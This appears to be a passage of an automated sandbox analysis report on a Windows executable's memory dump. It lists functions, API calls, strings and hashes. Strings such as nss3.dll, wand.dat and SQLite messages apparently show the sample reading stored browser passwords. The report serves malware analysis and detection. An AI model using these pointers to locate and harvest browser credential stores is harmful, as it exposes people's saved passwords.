MessageBoxW.USER32(00000000,?,Error,00000030), ref: 00407E4E

Strings

Error %d: %s, xrefs: 00407E24
Error, xrefs: 00407E3F

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ErrorLastMessage_snwprintf
String ID: Error$Error %d: %s
API String ID: 313946961-1552265934
Opcode ID: a75c3089e7e966da0bd638cb6b9ab9d800269499d53a23e07f81a9ce3fd34d46
Instruction ID: b00963ac5392a62de3320d989648915026267cceceb2d36b0a398715d1e41bd5
Opcode Fuzzy Hash: a75c3089e7e966da0bd638cb6b9ab9d800269499d53a23e07f81a9ce3fd34d46
Instruction Fuzzy Hash: B9F0A77694060867EF11A794CC06FDA73ACBB84791F1400BBF945E2181DAB8EA854A69

Uniqueness

Uniqueness Score: -1.00%

Function 0041473D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shlwapi.dll,74EB48C0,?,00404C4C,00000000), ref: 00414746
GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 00414754
FreeLibrary.KERNEL32(00000000,?,00404C4C,00000000), ref: 0041476C

Strings

shlwapi.dll, xrefs: 0041473F
SHAutoComplete, xrefs: 0041474E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SHAutoComplete$shlwapi.dll
API String ID: 145871493-1506664499
Opcode ID: 86042acc96e33f1a31b74afa18de2a5d13a01f1e05fbb0343d8f5c10d07cce3a
Instruction ID: 374e307410260eae357c848a0ac8b8d2ed108e4990ae0ebeecf0dac054c84ad8
Opcode Fuzzy Hash: 86042acc96e33f1a31b74afa18de2a5d13a01f1e05fbb0343d8f5c10d07cce3a
Instruction Fuzzy Hash: B1D05B397005206BEA5167366C48FEF3A55EFC7B517154031F910D2261DB648C0285AD

Uniqueness

Uniqueness Score: -1.00%

Function 004351F7, Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 390COMMON

Download Yara Rule

Strings

old, xrefs: 0043527B
new, xrefs: 00435285
oid, xrefs: 004352C1
foreign key constraint failed, xrefs: 00435497

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: foreign key constraint failed$new$oid$old
API String ID: 0-1953309616
Opcode ID: e023502b744750f4b23ffe04e2ae5b216edfebde367b4abfa2077d4614065f4c
Instruction ID: aa3871157cb2c29edb2d7db9a5a62b5d9e1ddd85e1ada7e098d24c65e5f6a169
Opcode Fuzzy Hash: e023502b744750f4b23ffe04e2ae5b216edfebde367b4abfa2077d4614065f4c
Instruction Fuzzy Hash: 60E1BF71E00209EFDB14DFA5D981AAEBBB5FF48304F10806AE805AB341DB78AD51CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00430EBE, Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00430FBE
memcpy.MSVCRT ref: 004310D5

Strings

foreign key on %s should reference only one column of table %T, xrefs: 00430F1A
unknown column "%s" in foreign key definition, xrefs: 004310A5
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 00430F42

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 3510742995-272990098
Opcode ID: a27afdf262ea2b2f13aa3d7c6496d52117a55a242e1c635bc0b46c3f4d569d41
Instruction ID: b4e089481029338f932d4991b26cccaedb5970869045d73953a00dcfe725fe6b
Opcode Fuzzy Hash: a27afdf262ea2b2f13aa3d7c6496d52117a55a242e1c635bc0b46c3f4d569d41
Instruction Fuzzy Hash: 10914B75A00209DFCB24DF59C480A9EBBF1FF48304F15819AE809AB312D739E942CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00406A86, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406AA7
wcslen.MSVCRT ref: 00406AB2
wcslen.MSVCRT ref: 00406AC0
memset.MSVCRT ref: 00406B16

Part of subcall function 004083D6: wcscpy.MSVCRT ref: 004083DE
Part of subcall function 004083D6: wcscat.MSVCRT ref: 004083ED

Strings

nss3.dll, xrefs: 00406AB8, 00406ABD, 00406AD1

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memsetwcslen$wcscatwcscpy
String ID: nss3.dll
API String ID: 1250441359-2492180550
Opcode ID: 09e33b56ee97e3876529d6a1dbd088a7e67531a27dd58c4da1fdcc6a23c597f8
Instruction ID: 1e34d79d1f5922d0320f8d763ab64a9784b47cc615ba08cf08abcfcfe76fb249
Opcode Fuzzy Hash: 09e33b56ee97e3876529d6a1dbd088a7e67531a27dd58c4da1fdcc6a23c597f8
Instruction Fuzzy Hash: D511ECF290121D96EB10EB60DD49BC673BC9B15314F1004BBE60DF21C1FB79DA548A5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C181, Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 0040C11B: ??3@YAXPAX@Z.MSVCRT ref: 0040C127
Part of subcall function 0040C11B: ??3@YAXPAX@Z.MSVCRT ref: 0040C135
Part of subcall function 0040C11B: ??3@YAXPAX@Z.MSVCRT ref: 0040C146
Part of subcall function 0040C11B: ??3@YAXPAX@Z.MSVCRT ref: 0040C15D
Part of subcall function 0040C11B: ??3@YAXPAX@Z.MSVCRT ref: 0040C166

??3@YAXPAX@Z.MSVCRT ref: 0040C19C
??3@YAXPAX@Z.MSVCRT ref: 0040C1AF
??3@YAXPAX@Z.MSVCRT ref: 0040C1C2
??3@YAXPAX@Z.MSVCRT ref: 0040C1D5
free.MSVCRT(00000000), ref: 0040C20E

Part of subcall function 00408F1E: free.MSVCRT(00000000,004092A3,00000000,?,00000000), ref: 00408F25

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??3@$free
String ID:
API String ID: 2241099983-0
Opcode ID: b651c62b607cea7bb0db53ebb6174c0f1cadef425dc2d358b3fe847b53385816
Instruction ID: 1b724bf31a54a7cffb96c88967fdb5b0379f9a1dee2f65518d31c165403446cb
Opcode Fuzzy Hash: b651c62b607cea7bb0db53ebb6174c0f1cadef425dc2d358b3fe847b53385816
Instruction Fuzzy Hash: 6E01E532905A31D7D6257B7AA68151FB396BEC2710316026FF845BB2C38F3C6C414ADD

Uniqueness

Uniqueness Score: -1.00%

Function 00416DAA, Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

AreFileApisANSI.KERNEL32 ref: 00416DB2
WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00416DD2
malloc.MSVCRT ref: 00416DD8
WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 00416DF6
free.MSVCRT(?), ref: 00416DFF

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharMultiWide$ApisFilefreemalloc
String ID:
API String ID: 4053608372-0
Opcode ID: 8b75c47431a11f52c87324c6af9dbd18f9e3b72bc027a16140cc791be9c4b708
Instruction ID: 7c4f126962bd8a7e2ff3a65b0fa2dbedc4b8b396d66bab6395f0ad674673df12
Opcode Fuzzy Hash: 8b75c47431a11f52c87324c6af9dbd18f9e3b72bc027a16140cc791be9c4b708
Instruction Fuzzy Hash: B501C8B550411DBF7F115FA5ECC1CFF7AACEA453E8721032AF414E2190D6348E405AB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040B60E, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0040B620
GetWindowRect.USER32 ref: 0040B62D
GetClientRect.USER32 ref: 0040B638
MapWindowPoints.USER32 ref: 0040B648
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 0040B664

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: 4132645c0205fca9f5305145dfaca5e8ad85c8db49ac0fde3fc8653dad27a9db
Instruction ID: 46ce5f71d2b2052eec3e6930e994fa0a792d7dbc784fe0d7727ff2cdb1cfdf95
Opcode Fuzzy Hash: 4132645c0205fca9f5305145dfaca5e8ad85c8db49ac0fde3fc8653dad27a9db
Instruction Fuzzy Hash: 9D014836401129BBDB119BA59C49EFFBFBCFF06755F04402AFD01A2181D77895028BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004442F9, Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00407D7B: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00444305,00000000,?,00000000,00000000,0041274B,?,?), ref: 00407D8D

GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000000,0041274B,?,?), ref: 00444310
??2@YAPAXI@Z.MSVCRT ref: 00444324
memset.MSVCRT ref: 00444333

Part of subcall function 0040897D: ReadFile.KERNELBASE(?,?,CCD,00000000,00000000,?,?,00444343,00000000,00000000), ref: 00408994

??3@YAXPAX@Z.MSVCRT ref: 00444356

Part of subcall function 004440EA: memchr.MSVCRT ref: 00444125
Part of subcall function 004440EA: memcpy.MSVCRT ref: 004441C9
Part of subcall function 004440EA: memcpy.MSVCRT ref: 004441DB
Part of subcall function 004440EA: memcpy.MSVCRT ref: 00444203

CloseHandle.KERNEL32(00000000), ref: 0044435D

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Filememcpy$??2@??3@CloseCreateHandleReadSizememchrmemset
String ID:
API String ID: 1471605966-0
Opcode ID: d675db4136e80266a2e6e489a5d886d4055744e95b8a0a787b2a16d9fa1a1fa5
Instruction ID: 37ddc15cde46eb5ec9a675e84f83cfdfb4636f792b79cf1c8c19bfac071e4967
Opcode Fuzzy Hash: d675db4136e80266a2e6e489a5d886d4055744e95b8a0a787b2a16d9fa1a1fa5
Instruction Fuzzy Hash: 64F0C8765006106AE2203732AC89F6B2B5C9FD6761F14043FF916911D2EE2C98148179

Uniqueness

Uniqueness Score: -1.00%

Function 0040C11B, Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040C127
??3@YAXPAX@Z.MSVCRT ref: 0040C135
??3@YAXPAX@Z.MSVCRT ref: 0040C146
??3@YAXPAX@Z.MSVCRT ref: 0040C15D
??3@YAXPAX@Z.MSVCRT ref: 0040C166

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 9db751b9d40129ff607a2ad0f7b23477c9a1a0d584d2dc8bf4dbc2e5fe3abfdd
Instruction ID: ce0d416df33b84177c5a77da38496f7ed087613ba8a01eb08bd82b7dd0746caf
Opcode Fuzzy Hash: 9db751b9d40129ff607a2ad0f7b23477c9a1a0d584d2dc8bf4dbc2e5fe3abfdd
Instruction Fuzzy Hash: D0F049B25047018FE720AFA9E9C091BF3E9AB49714761093FF049D7682DB7CAC808A0C

Uniqueness

Uniqueness Score: -1.00%

Function 0040D913, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D937
memset.MSVCRT ref: 0040D94E

Part of subcall function 0040CDFA: wcscpy.MSVCRT ref: 0040CDFF
Part of subcall function 0040CDFA: _wcslwr.MSVCRT ref: 0040CE3A

_snwprintf.MSVCRT ref: 0040D97D

Strings

</%s>, xrefs: 0040D96C

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$_snwprintf_wcslwrwcscpy
String ID: </%s>
API String ID: 3400436232-259020660
Opcode ID: d4b96116a3886d925e69f09e1e7aa17f767efc24742795cd823dba6d7b972355
Instruction ID: 1f907657c5db402736beb96cf917ebbb27e5637f268f278bd00e4de1d3b551c4
Opcode Fuzzy Hash: d4b96116a3886d925e69f09e1e7aa17f767efc24742795cd823dba6d7b972355
Instruction Fuzzy Hash: A701D6B2D4022967E720A755CC45FEA776CEF45308F0400B6BB08B3181DB78DA458AA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040B720, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040B75A
SetWindowTextW.USER32(?,?), ref: 0040B78A
EnumChildWindows.USER32 ref: 0040B79A

Strings

caption, xrefs: 0040B76F

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChildEnumTextWindowWindowsmemset
String ID: caption
API String ID: 1523050162-4135340389
Opcode ID: a680237547b71f84e7c5f21b380628042884f9aaba9d4c49a1fa12d06f7ec414
Instruction ID: 685c7242f617fb3ba1e31657fb4388fb0a14aaa92a56732ea005dddfaa5a5635
Opcode Fuzzy Hash: a680237547b71f84e7c5f21b380628042884f9aaba9d4c49a1fa12d06f7ec414
Instruction Fuzzy Hash: B1F0AF369007186AFB20AB54DC4AB9A326CEB41705F4000B6FA04B71D2DBB8ED80CADC

Uniqueness

Uniqueness Score: -1.00%

Function 004088A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 004088E9
wcscpy.MSVCRT ref: 004088F7

Strings

xK@, xrefs: 004088C0
X, xrefs: 004088CA

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileNameOpenwcscpy
String ID: X$xK@
API String ID: 3246554996-3735201224
Opcode ID: 908a77b3f0a760ced81f36d2d2ae0a58bf516f7094468664e135c5813428c6fa
Instruction ID: b0b1e818a48a7f3500c0daa10f1625907e8ff6cd2dadba3970951ebcab59a6c3
Opcode Fuzzy Hash: 908a77b3f0a760ced81f36d2d2ae0a58bf516f7094468664e135c5813428c6fa
Instruction Fuzzy Hash: 28015FB1D0064C9FDB41DFE9D8856CEBBF4AB09314F10802AE869F6240EB7495458F55

Uniqueness

Uniqueness Score: -1.00%

Function 0040103E, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004082B5: memset.MSVCRT ref: 004082BF
Part of subcall function 004082B5: wcscpy.MSVCRT ref: 004082FF

CreateFontIndirectW.GDI32(?), ref: 0040105D
SendDlgItemMessageW.USER32 ref: 0040107C
SendDlgItemMessageW.USER32 ref: 0040109A

Strings

MS Sans Serif, xrefs: 00401049

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
String ID: MS Sans Serif
API String ID: 210187428-168460110
Opcode ID: e453892ad263d581ed8c07d327965f5779054c40888fa458c6814bb6aa3c3a7a
Instruction ID: 6a7807da2d6c22504d803769321e4de0e3b0b92c14fc4c1b5eee7474059f757a
Opcode Fuzzy Hash: e453892ad263d581ed8c07d327965f5779054c40888fa458c6814bb6aa3c3a7a
Instruction Fuzzy Hash: 9EF08275A40B0877EA31ABA0DC06F9A77B9B740B41F000939F751B91D1D7F5A185CA98

Uniqueness

Uniqueness Score: -1.00%

Function 0040840D, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040842C
GetClassNameW.USER32 ref: 00408443
_wcsicmp.MSVCRT ref: 00408455

Strings

edit, xrefs: 0040844F

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ClassName_wcsicmpmemset
String ID: edit
API String ID: 2747424523-2167791130
Opcode ID: ebec61093d08ec7c11ef9b525731133b20f87b1b8314aca5ccae6d1865a8b1c0
Instruction ID: 157984a491cfffbc22861ef67f020c4accef2e0f69a1167183a5ff10ddf0174f
Opcode Fuzzy Hash: ebec61093d08ec7c11ef9b525731133b20f87b1b8314aca5ccae6d1865a8b1c0
Instruction Fuzzy Hash: A2E04872D9031D6AFB10ABA0DC4EFAD77ACAB01748F1001B5B915E10D3EBB896454B45

Uniqueness

Uniqueness Score: -1.00%

Function 004144AB, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32.dll,0040FF7C,00000000,?,00000002,?,004448C6,00000000,?,0000000A), ref: 004144B9
GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 004144CE

Strings

shell32.dll, xrefs: 004144B4
SHGetSpecialFolderPathW, xrefs: 004144C8

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetSpecialFolderPathW$shell32.dll
API String ID: 2574300362-880857682
Opcode ID: ec0b550a6f005db750ce1d6b24d12bf1fdfb92314774ed3a2a33578eaf871c9d
Instruction ID: 5adcb90289d93a3714d1f61360fd38a26edcd17bcdb04c713309b7dc063e595c
Opcode Fuzzy Hash: ec0b550a6f005db750ce1d6b24d12bf1fdfb92314774ed3a2a33578eaf871c9d
Instruction Fuzzy Hash: 89D0C9BCD00304BFEB014F30AC8A70636A8B760BD7F10503AE001D1662EB78C1908B9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041D1AF, Relevance: 6.3, APIs: 5, Instructions: 82COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0041D1C2
memcpy.MSVCRT ref: 0041D1D8
memcmp.MSVCRT ref: 0041D1E7
memcmp.MSVCRT ref: 0041D22F
memcpy.MSVCRT ref: 0041D24A

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy$memcmp
String ID:
API String ID: 3384217055-0
Opcode ID: b9ae8adf615f369c02f25eb7107bc5ea448d3aeb9579db06496db9a03d397097
Instruction ID: 09945ccab50a33f31b382fa22860e11bd1319c866f4a66b9fbc9fb0ddb64ce7b
Opcode Fuzzy Hash: b9ae8adf615f369c02f25eb7107bc5ea448d3aeb9579db06496db9a03d397097
Instruction Fuzzy Hash: 2C21A4B2E14248ABDB18DBA5DC45FDF73FCAB85704F10442AF511D7181EA38E644C724

Uniqueness

Uniqueness Score: -1.00%

Function 00410212, Relevance: 6.3, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00410231
memset.MSVCRT ref: 00410247
memset.MSVCRT ref: 00410259
memcpy.MSVCRT ref: 0041027E
memset.MSVCRT ref: 00410288

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: f4caee9e838a04182d96899108f95e0bb2b5edd837a40d922fdd0fc6967a6baf
Instruction ID: ff146c4b72cd3461ea0581b3b06c61829aab73f766a4367807c7cf9141d7c205
Opcode Fuzzy Hash: f4caee9e838a04182d96899108f95e0bb2b5edd837a40d922fdd0fc6967a6baf
Instruction Fuzzy Hash: 8C0128B1640B0066E2316B25CC07F5A73A4AFD2714F50061EF142666C2DFECE544815C

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5D7, Relevance: 6.2, APIs: 4, Instructions: 169windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004019F1: GetMenu.USER32(?), ref: 00401A0F
Part of subcall function 004019F1: GetSubMenu.USER32 ref: 00401A16
Part of subcall function 004019F1: EnableMenuItem.USER32 ref: 00401A2E

Part of subcall function 00401A38: SendMessageW.USER32(?,00000412,?,00000000), ref: 00401A4F
Part of subcall function 00401A38: SendMessageW.USER32(?,00000411,?,?), ref: 00401A73

GetMenu.USER32(?), ref: 0040E7C9
GetSubMenu.USER32 ref: 0040E7D6
GetSubMenu.USER32 ref: 0040E7D9
CheckMenuRadioItem.USER32 ref: 0040E7E5

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Menu$ItemMessageSend$CheckEnableRadio
String ID:
API String ID: 1889144086-0
Opcode ID: 83a0e922cd1e8dee9c6445d434e826569a79f8e3c030a9086352cee87eac6e04
Instruction ID: 25cc4134299d990fe6d22a23efa4e99655f13f9d527333d0ba489a0a70db3f06
Opcode Fuzzy Hash: 83a0e922cd1e8dee9c6445d434e826569a79f8e3c030a9086352cee87eac6e04
Instruction Fuzzy Hash: EF519071B40604BBEB20ABA6CD4AF8FBAB9EB44704F00056DB248B72E2C6756D50DB54

Uniqueness

Uniqueness Score: -1.00%

Function 004178F0, Relevance: 6.1, APIs: 4, Instructions: 138fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32(?,00000000,00000004,00000000,?,00000000), ref: 004179D3
MapViewOfFile.KERNEL32(00000000,00000006,00000000,?,?), ref: 004179FE
GetLastError.KERNEL32 ref: 00417A25
CloseHandle.KERNEL32(00000000), ref: 00417A3B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CloseCreateErrorHandleLastMappingView
String ID:
API String ID: 1661045500-0
Opcode ID: 1d89631bf252ae2f2c4c8445ece2b1e7c45986c35925c9de674870ee8545aac5
Instruction ID: 2596ed0fad154ed29ebf4184e1ce6d35beb67abfb73833eacff1bbd48ddff306
Opcode Fuzzy Hash: 1d89631bf252ae2f2c4c8445ece2b1e7c45986c35925c9de674870ee8545aac5
Instruction Fuzzy Hash: 0A516EB02087019FEB14CF25C981AABB7F5FF84344F10592EE88287A51E734F994CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042E431, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 004153D6: memset.MSVCRT ref: 004153F0

memcpy.MSVCRT ref: 0042E519

Strings

sqlite_altertab_%s, xrefs: 0042E4EA
Cannot add a column to a view, xrefs: 0042E486
virtual tables may not be altered, xrefs: 0042E470

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpymemset
String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
API String ID: 1297977491-2063813899
Opcode ID: 3f378335f80cc59d7eb135424ddc91f3ec91bec2b91706fd248cd0de38cf87d4
Instruction ID: bc03cdfccc2981246e0f5b9510b3d89990825f97592217a3aee3a84e95ce5e7f
Opcode Fuzzy Hash: 3f378335f80cc59d7eb135424ddc91f3ec91bec2b91706fd248cd0de38cf87d4
Instruction Fuzzy Hash: E741B071A10215EFDB00DFA9D881A99B7F0FF48318F54815BE858DB352E778E990CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00430484, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 132COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 004305C4

Strings

, , xrefs: 00430501
CREATE TABLE , xrefs: 00430539
, xrefs: 004304FA

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy
String ID: $, $CREATE TABLE
API String ID: 3510742995-3459038510
Opcode ID: 1040b4c337cd7faea4ce64fd031e57caaf4286bff9d4d2ce94e46056063ae749
Instruction ID: 9113deda8d77e919ddbf50a6a1bf1eccfd02e82bbda2be63f83ad5433933bd3d
Opcode Fuzzy Hash: 1040b4c337cd7faea4ce64fd031e57caaf4286bff9d4d2ce94e46056063ae749
Instruction Fuzzy Hash: 1C518E71D00119EFDB10DF98C491AAFB7B5EF48318F20819BD945AB205E738AA45CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404AC0, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00404B07

Part of subcall function 0040B301: GetModuleHandleW.KERNEL32(00000000,?,?,0040C3FA,?,0040FE90,00000000,00000000,?), ref: 0040B340
Part of subcall function 0040B301: LoadStringW.USER32(00000000,0000000A,00000FFF,?), ref: 0040B3D9
Part of subcall function 0040B301: memcpy.MSVCRT ref: 0040B419

Part of subcall function 0040B301: wcscpy.MSVCRT ref: 0040B382
Part of subcall function 0040B301: wcslen.MSVCRT ref: 0040B3A0
Part of subcall function 0040B301: GetModuleHandleW.KERNEL32(00000000,?,?,?,0040C3FA,?,0040FE90,00000000,00000000,?), ref: 0040B3AE

Part of subcall function 00408AE8: memset.MSVCRT ref: 00408B09
Part of subcall function 00408AE8: _snwprintf.MSVCRT ref: 00408B3C
Part of subcall function 00408AE8: wcslen.MSVCRT ref: 00408B48
Part of subcall function 00408AE8: memcpy.MSVCRT ref: 00408B60
Part of subcall function 00408AE8: wcslen.MSVCRT ref: 00408B6E
Part of subcall function 00408AE8: memcpy.MSVCRT ref: 00408B81

Part of subcall function 004088A0: GetOpenFileNameW.COMDLG32(?), ref: 004088E9
Part of subcall function 004088A0: wcscpy.MSVCRT ref: 004088F7

Strings

wand.dat, xrefs: 00404B2D
dat, xrefs: 00404B0C
*.*, xrefs: 00404B48

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpywcslen$HandleModulememsetwcscpy$FileLoadNameOpenString_snwprintf
String ID: *.*$dat$wand.dat
API String ID: 3589925243-1828844352
Opcode ID: dba498f9c2a615ee4bb20f4d87602121c5d51198321a5fa312053a7b5bc0946c
Instruction ID: 189ab15ad594b46ceda1379ae2a6b1c5413d0dce04db73f13dfcb8633a17526e
Opcode Fuzzy Hash: dba498f9c2a615ee4bb20f4d87602121c5d51198321a5fa312053a7b5bc0946c
Instruction Fuzzy Hash: 0841B771600205AFEF10EF61DD86ADE77B5FF40314F10802BFA05A71D2EB79A9958B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E482, Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 0040C513: ??2@YAPAXI@Z.MSVCRT ref: 0040C534
Part of subcall function 0040C513: ??3@YAXPAX@Z.MSVCRT ref: 0040C5FB

wcslen.MSVCRT ref: 0040E4B0
_wtoi.MSVCRT ref: 0040E4BC
_wcsicmp.MSVCRT ref: 0040E50A
_wcsicmp.MSVCRT ref: 0040E51B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcsicmp$??2@??3@_wtoiwcslen
String ID:
API String ID: 1549203181-0
Opcode ID: 0f4392e1858a779833333a0416b24e28d587e9bbbfd919652716bcc233ef85a3
Instruction ID: a8ded69f91e0d7bf63f89fae3ec1b4bc8203dfd4cc2a8694f23455ab63246b5f
Opcode Fuzzy Hash: 0f4392e1858a779833333a0416b24e28d587e9bbbfd919652716bcc233ef85a3
Instruction Fuzzy Hash: 06417131900204EFCF21DF9AC980A99B7B5EF48358F1548BAEC05EB396E738DA509B55

Uniqueness

Uniqueness Score: -1.00%

Function 00406EB9, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406F06
memcpy.MSVCRT ref: 00406FAD

Part of subcall function 0040134B: strlen.MSVCRT ref: 00401358

Strings

Ap@, xrefs: 00406F84, 00406F87
Ap@, xrefs: 00406EC5, 00406FA6, 00406FAC

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpymemsetstrlen
String ID: Ap@$Ap@
API String ID: 160209724-724177859
Opcode ID: a22eb759962dce0ece25da61dae4aaf75057113ae2506cb2c4c354c91a5046fa
Instruction ID: e2bdeeadc1d90758f2de231e66b6cadccfeb655152d102dc9dd3295dcddd65f9
Opcode Fuzzy Hash: a22eb759962dce0ece25da61dae4aaf75057113ae2506cb2c4c354c91a5046fa
Instruction Fuzzy Hash: 10313371A042069BDB14DFA8AC80BAFB7B89F04310F1100BEE916F72C1DB78DA518769

Uniqueness

Uniqueness Score: -1.00%

Function 0040F843, Relevance: 6.1, APIs: 4, Instructions: 99windowkeyboardCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040F882

